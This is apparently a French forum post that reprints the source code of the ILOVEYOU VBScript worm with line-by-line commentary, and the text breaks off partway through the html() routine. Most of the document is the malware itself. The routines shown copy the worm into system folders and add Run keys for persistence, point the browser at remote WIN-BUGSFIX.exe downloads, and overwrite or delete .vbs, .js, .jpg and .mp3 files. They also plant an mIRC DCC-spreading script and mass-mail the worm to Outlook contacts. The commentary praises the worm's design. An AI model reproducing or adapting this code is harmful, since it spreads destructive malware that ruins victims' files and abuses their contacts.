Attention : Je diffuse le code source d\'I Love you pour comprendre les fonctions utilisables en VBS (très bon exemple) mais pas pour reproduire le virus et de le renvoyer ... En tous les cas is vous faites des bétises avec se code je ne serais pas responsible de vos actes.
Maintenant je vais présenter le virus I Love You avec les détails des actions qu\'il effectue.
\'On se présente pour les piqueurs de sources ...
Rem barok -loveletter(vbe)
Rem by: spyder / ispyder@mail.com / @GRAMMERSoft
Rem Group / Manila,Philippines
\'Si il y a une erreur sur une fonction on la saute et on lance la suite (on fais pas tout planter)
On Error Resume Next
\'Déclaration de toutes les variables pour la suite du prog
Dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow
eq = \"\"
ctr = 0
\'On crée un un object qui correspond au contenu de ce fichier VBS
Set fso = CreateObject(\"Scripting.FileSystemObject\")
Set file = fso.OpenTextFile(WScript.ScriptFullName, 1)
vbscopy = file.ReadAll
main()
Sub main()
On Error Resume Next
Dim wscr, rr
\'Création des Clef dans le registre
Set wscr = CreateObject(\"WScript.Shell\")
rr = wscr.RegRead(\"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows Scripting _
\\Host\\Settings\\Timeout\")
If (rr >= 1) Then
wscr.RegWrite \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows Scripting\"
Host\\Settings\\Timeout\",0,\"REG_DWORD\"
End If
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
\'On lit le contenu du fichier VBS et on le copie ds le rep système (MSKernel32.vbs et LOVE-LETTER-FOR-YOU.TXT.vbs) et dans le rep windows (Win32DLL.vbs). Tous les fichiers son identiques mais c\'est en cas que le mec soit mi-newbie et qu\'il arrive en suppr 1 :)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&\"\\MSKernel32.vbs\")
c.Copy(dirwin&\"\\Win32DLL.vbs\")
c.Copy(dirsystem&\"\\LOVE-LETTER-FOR-YOU.TXT.vbs\")
regruns()
html()
spreadtoemail()
listadriv()
End Sub
Sub regruns()
On Error Resume Next
Dim num, downread
\'Maintenant que le fichier est copié un peu partout ds le système on va le lancer au démarrage de Win histoire de relancer le procésus si le mec à fait RESET !
regcreate
\"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion
\\Run\\MSKernel32\",dirsystem&\"\\MSKernel32.vbs\"
regcreate
\"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion
\\RunServices
\\Win32DLL\",dirwin&\"\\Win32DLL.vbs\"
\'On va maintenant s\'assurer que tous les fichier que le mec va downloader s\'enregistrent dans C:\\
downread = \"\"
downread=regget(\"HKEY_CURRENT_USER\\Software\\Microsoft\\Internet
Explorer\\Download Directory\")
If (downread = \"\") Then
downread = \"c:\\\"
End If
\'Je sais pas trop ce qui fous ....
If (fileexist(dirsystem&\"\\WinFAT32.exe\")=1) Then
Randomize
num = Int((4 * Rnd) + 1)
If num = 1 Then
\'On change la page d\'accueil avec un bon système : si on efface un fichier .exe sur un serveur il ouvre ceux de rechange, ingénieux, non ?
regcreate \"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start\"
Page\",\"http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTF
wetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe\\\"
ElseIf num = 2 Then
regcreate \"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start\"
Page\",\"http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUI
yqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe\"
ElseIf num = 3 Then
regcreate \"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start\"
Page\",\"http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEk
bopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe\"
ElseIf num = 4 Then
regcreate \"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start\"
Page\",\"http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBh
AFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnma dshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe\"
End If
End If
If (fileexist(downread&\"\\WIN-BUGSFIX.exe\")=0) Then
regcreate
\"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\WIN-BUGSFIX\",downread&\"\\WIN-BUGSFIX.exe\"
regcreate \"HKEY_CURRENT_USER\\Software\\Microsoft\\Internet\"
Explorer\\Main\\Start Page\",\"about:blank\"
End If
End Sub
Allez on s\'attaque à l\'infection des fichiers
Sub listadriv()
On Error Resume Next
Dim d, dc, s
Set dc = fso.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 Then
folderlist(d.path&\"\\\")
End If
Next
listadriv = s
End Sub
Sub infectfiles(folderspec)
On Error Resume Next
Dim f, f1, fc, ext, ap, mircfname, s, bname, mp3
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
For Each f1 In fc
ext = fso.GetExtensionName(f1.Path)
ext = LCase(ext)
s = LCase(f1.Name)
\'Il change le contenu de tous les fichiers VBS du DD par le contenu du virus :)
If (ext = \"vbs\") Or (ext = \"vbe\") Then
Set ap = fso.OpenTextFile(f1.Path, 2, True)
ap.write vbscopy
ap.Close
\'Si les fichiers sont en .js, .jse, .css, .wsh, .sct ou .hta il les supprime, reprend leur nom et met le nom de l\'ancien fichier avec l\'extention .vbs :!
ElseIf(ext=\"js\") Or (ext=\"jse\") Or (ext=\"css\") Or (ext=\"wsh\") Or
(ext=\"sct\") Or (ext=\"hta\") Then
Set ap = fso.OpenTextFile(f1.Path, 2, True)
ap.write vbscopy
ap.Close
bname = fso.GetBaseName(f1.Path)
Set cop = fso.GetFile(f1.Path)
cop.copy(folderspec&\"\\\"&bname&\".vbs\")
fso.DeleteFile (f1.Path)
ElseIf (ext = \"jpg\") Or (ext = \"jpeg\") Then
Set ap = fso.OpenTextFile(f1.Path, 2, True)
ap.write vbscopy
ap.Close
Set cop = fso.GetFile(f1.Path)
cop.copy(f1.path&\".vbs\")
fso.DeleteFile (f1.Path)
ElseIf (ext = \"mp3\") Or (ext = \"mp2\") Then
Set mp3=fso.CreateTextFile(f1.path&\".vbs\")
mp3.write vbscopy
mp3.Close
Set att = fso.GetFile(f1.Path)
att.Attributes = att.Attributes + 2
End If
If (eq <> folderspec) Then
\'Now il s\'attaque au premier logiciel de chat le plus utilisé : mIRC. Quand il a trouvé ou il est il va prendre script.ini pour écrire dedans un petit script :)
If (s=\"mirc32.exe\") Or (s=\"mlink32.exe\") Or (s=\"mirc.ini\") Or
(s=\"script.ini\") Or (s=\"mirc.hlp\") Then
Set scriptini=fso.CreateTextFile(folderspec&\"\\script.ini\")
\'Now quand la victime est sur un chan elle envoi le virus à toutes les personnes présentes sous forme de LOVE-LETTER-FOR-YOU.HTM en DCC, décidément falait y penser ....
scriptini.WriteLine \"[script]\"
scriptini.WriteLine \";mIRC Script\"
scriptini.WriteLine \"; Please dont edit this script... mIRC will corrupt,\"
If mIRC will\"
scriptini.WriteLine \" corrupt... WINDOWS will affect and will not run\"
correctly.thanks \"\"
scriptini.WriteLine \";\"
scriptini.WriteLine \";Khaled Mardam-Bey\"
scriptini.WriteLine \";http://www.mirc.com\"
scriptini.WriteLine \";\"
scriptini.WriteLine \"n0=on 1:JOIN:#:{\"
scriptini.WriteLine \"n1= /if ( $nick == $me ) { halt }\"
scriptini.WriteLine \"n2= /.dcc send $nick\"
\"&dirsystem&\"\\LOVE-LETTER-For-YOU.HTM\"
scriptini.WriteLine \"n3=}\"
scriptini.Close
\'Le script mIRC est pas dur à comprendre donc je passe les détails
eq = folderspec
End If
End If
Next
End Sub
Sub folderlist(folderspec)
On Error Resume Next
Dim f, f1, sf
Set f = fso.GetFolder(folderspec)
Set sf = f.SubFolders
For Each f1 In sf
infectfiles (f1.Path)
folderlist (f1.Path)
Next
End Sub
Sub regcreate(regkey, regvalue)
Set regedit = CreateObject(\"WScript.Shell\")
regedit.RegWrite regkey, regvalue
End Sub
Function regget(value)
Set regedit = CreateObject(\"WScript.Shell\")
regget = regedit.RegRead(value)
End Function
Function fileexist(filespec)
On Error Resume Next
Dim msg
If (fso.FileExists(filespec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
Function folderexist(folderspec)
On Error Resume Next
Dim msg
If (fso.GetFolderExists(folderspec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
Sub spreadtoemail()
On Error Resume Next
Dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad
\'Bon j\'ai passé quelqes trucs, mais j\'ai deja expliqué comment ça marche :) On regarde un truc bien mieux : Outlook !
\'Maintenant que le virus à ravagé la moitié des fichiers du Disque il va se renvoyer à tous les membres du carnet d\'adresse de la victime et oui si les membres de son carnet la connaisent ils vont lui faire confiance et donc ouvrir le fichier joint Sympa le petit virus :)
Set regedit = CreateObject(\"WScript.Shell\")
Set out = WScript.CreateObject(\"Outlook.Application\")
Set mapi = out.GetNameSpace(\"MAPI\")
For ctrlists = 1 To mapi.AddressLists.Count
Set a = mapi.AddressLists(ctrlists)
x = 1
regv = regedit.RegRead(\"HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\\" & a)
If (regv = \"\") Then
regv = 1
End If
If (Int(a.AddressEntries.Count) > Int(regv)) Then
For ctrentries = 1 To a.AddressEntries.Count
malead = a.AddressEntries(x)
regad = \"\"
regad = regedit.RegRead(\"HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\\" & malead)
If (regad = \"\") Then
Set male = out.CreateItem(0)
male.Recipients.Add (malead)
male.Subject = \"ILOVEYOU\"
male.Body = vbCrLf&\"kindly check the attached LOVELETTER coming from me.\"
male.Attachments.Add(dirsystem&\"\\LOVE-LETTER-FOR-YOU.TXT.vbs\")
male.Send
regedit.RegWrite
\"HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\\"&malead,1,\"REG_DWORD\"
End If
x = x + 1
Next
regedit.RegWrite
\"HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\\"&a,a.AddressEntries.Count
Else
regedit.RegWrite
\"HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\\"&a,a.AddressEntries.Count
End If
Next
Set out = Nothing
Set mapi = Nothing
End Sub
\'Bon la javoue que j\'ai du man à suivre tout .... c\'est un peu du nimporte quoi !
Sub html()
On Error Resume Next
Dim lines, n, dta1, dta2, dt1, dt2, dt3, dt4, l1, dt5, dt6
dta1 = \"
This HTML file need ActiveX Control-?p>
To Enable to read
this HTML file
- Please press #-#YES#-# button To Enable
ActiveX-?p>\"&vbcrlf& _
\"-?CENTER>